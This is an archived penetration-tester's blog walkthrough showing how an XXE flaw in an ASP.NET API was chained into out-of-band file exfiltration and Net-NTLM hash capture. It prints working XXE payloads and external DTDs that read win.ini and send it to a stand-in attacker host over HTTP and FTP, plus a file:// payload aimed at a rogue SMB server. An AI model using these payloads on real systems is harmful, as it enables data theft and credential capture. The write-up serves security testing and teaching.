

From XML External Entity to NTLM Domain Hashes

From XML External Entity to NTLM Domain Hashes - Author not stated, techblog.mediaservice.net.

- Published: date not stated
- Original: <<https://techblog.mediaservice.net/2018/02/from-xml-external-entity-to-ntlm-domain-hashes/>>
- Preserved from: <https://techblog.mediaservice.net/2018/02/from-xml-external-entity-to-ntlm-domain-hashes/> (stored) on 2026-10-02
- Capture timestamp: 20180427082313
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so it remains readable if the page goes offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

During this article I will show **how it is possible to obtain NTLM password hashes from a Windows Web Server by chaining some well-known web vulnerabilities** with internal network misconfigurations. (nothing surprisingly new, a [very good read about this topic](#)).

But:

[[image: image]](<https://techblog.mediaservice.net/wp-content/uploads/2018/02/image001.jpg>)

This article inspired this work during one of our last penetration tests. *To respect our non-disclosure agreement with the customer, the “evidences” in the article have been (poorly) “crafted” to reproduce the original behavior encountered during the tests. *

Walkthrough the attack

Our target was a bunch of ASP.NET APIs exposed on the Internet running on a Windows Server. After some tests, **we found that the service was vulnerable to XXE ([XXE on OWA SP_Processing](#)) due to a DNS interaction **when feeding the service with XML external entities.

Usually, one of the best thing you can get from this kind of vulnerability (except for rare cases – like the PHP `expect` module that gives RCE directly), is to read files that the

Application Server account has privilege to read. If you are lucky enough, you can simply use your external entity to retrieve the content of the file directly putting your external entity in a field that is reflected back in the server response.

Unfortunately, none of the fields in the XML could be used to retrieve directly the content of the file from the server response in our scenario, because the external entity injection caused 500 Error code responses (but the entities were still parsed).

This is the case where you need some **Out-Of-Band data retrieval technique to exfiltrate file contents**. In few words, we need to find another way to retrieve the content of the file because we can't see it directly in the server response: in those cases, for example, you can try to **force the backend to send the file content to a server you control via HTTP/FTP/DNS request**.

To achieve our goal, however, we need to use an **external DTD** (the external DTD is an external XML where you can define new entities definitions for your XML schema) because we need *parametric entities* in our request (and parametric entities reference is not allowed in internal markup).

We need to put our DTD in a place we control and where the server could read it, like on a public host on the internet. But no one can assure us that the vulnerable backend server, behind a load balancer, could reach our file on the public network on a useful protocol. Let's verify this, using the Burp collaborator (and, of course, our super-sweet [Handy Collaborator plugin](#)):

```
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE foo [
<!ELEMENT foo ANY> <!ENTITY % xxe SYSTEM
"http://58bjzmpi1n4usspzku5z0h4z9qfj38.burpcollaborator.net/">%xxe; ]> <xml></xml>
```

|

1

2

3

4

5

6

7

|

```
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
```

```
<!DOCTYPE foo [
```

```
<!ELEMENT foo ANY>
```

```
<!ENTITY % xxe SYSTEM
```

```
"http://58bjzmpi1n4usspzku5z0h4z9qfj38.burpcollaborator.net/">%xxe;
```

```
<xml></xml>
```

```
||
```

And....

[[image: image]](https://techblog.mediaservice.net/wp-content/uploads/2018/02/collaborator1_x.png)

This means two things:

- An external public server can be reached on the HTTP port, so we can proceed with the exfiltration using the external DTD
- We just found a **Server-Side Request Forgery** (SSRF) vulnerability as well ☐

Let's see how we can exploit this.

The first thing is to host our external **DTD (with parametric entities)** on the Internet and then request it using our XXE vulnerability via HTTP request:

File xxe.xml:

```
<!ENTITY % payl SYSTEM "file:///c:/windows/win.ini"> <!ENTITY % param1 "<!ENTITY %  
exfil SYSTEM 'http://xxe.evilservers.xxx/%payl;'>">
```

```
|
```

```
1
```

```
2
```

```
3
```

```
|
```

```
<!ENTITY % payl SYSTEM "file:///c:/windows/win.ini">
```

```
<!ENTITY % param1 "<!ENTITY % exfil SYSTEM 'http://xxe.evilservers.xxx/%payl;'>">
```

```
||
```

Request:

```
<!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY % xxe SYSTEM  
"http://xxe.evilservers.xxx/exfil.dtd">%xxe;%param1;%exfil; ]> <xml></xml>
```

```
|
```

```
1
```

```
2
```

```
3
```

```
4
```

```
5
```

```
|
```

```
<!DOCTYPE foo [
```

```
<!ELEMENT foo ANY>
```

```
<!ENTITY % xxe SYSTEM "http://xxe.evilservers.xxx/exfil.dtd">%xxe;%param1;%exfil;  
]>  
<xml></xml>  
||
```

[[image: image]](https://techblog.mediaservice.net/wp-content/uploads/2018/02/exfil_http_externalservers_x.png)

Nice, we got the file from the server via GET request to our host. But this technique is not very efficient, due to the fact that some characters in the file content can break the HTTP syntax (and URL max-length is a limit to the file size), so not all files can be retrieved in this way.

A more flexible way to retrieve files is the **FTP protocol** (*SYSTEM ftp://xxe.evilservers.xxx/%payl; - supported by .NET parser*), available only if the outbound traffic on the FTP ports is not filtered by the internal network routing.

The easier way to verify this is to modify our DTD and use a tcpdump filter on our server and see if something is happening.

New exfil.dtd:

```
<!ENTITY % payl SYSTEM "file:///c:/windows/win.ini"> <!ENTITY % param1 "<!ENTITY %  
exfil SYSTEM 'ftp://xxe.evilservers.xxx/%payl;'>">  
|  
1  
2  
|  
<!ENTITY % payl SYSTEM "file:///c:/windows/win.ini">  
<!ENTITY % param1 "<!ENTITY % exfil SYSTEM 'ftp://xxe.evilservers.xxx/%payl;'>">  
||
```

....And surprisingly:

[[image: image]](https://techblog.mediaservice.net/wp-content/uploads/2018/02/exfil_ftp_externalservers_x.png)

Wow, the FTP protocol isn't filtered by outbound rules! Nice, but pretty strange...

After some investigations, **we found out that the backend server could reach any arbitrary port number on the Internet using the FTP or the HTTP URL schema in our XXE payload.**

Another "protocol" supported by almost every XML processor is "file://" which can be used to refer local files on the system (like we did before in our external DTD to fetch the win.ini) but it can also refer files on network shares identified by UNC paths.

So, what will happen if we use a URL like "file://xxe.evilservers.xxx/somefile.txt" and host a - DEFINITELY NOT ROGUE - network share on the Internet ?

Let's fire up the handy Metasploit module *auxiliary/server/capture/smb* (you can use Responder.py as well):

[[image: image]](<https://techblog.mediaservice.net/wp-content/uploads/2018/02/Cattura.png>)

This module simulate an authenticated SMB service and capture the challenges (Net-NTLM hashes) issued from the clients that tries to connect to it.

The idea is to force the vulnerable server to connect and (hopefully) authenticate on our evil SMB server and grab the hashes.

Modify our XXE payload to *file://evilserver.net/funny.txt*

[[image: image]](https://techblog.mediaservice.net/wp-content/uploads/2018/02/exfil_SMB_externalserver_x.png)

... aaaand it works! 🍷

Enjoy!

Written by: Gianluca Baldi on February 2, 2018.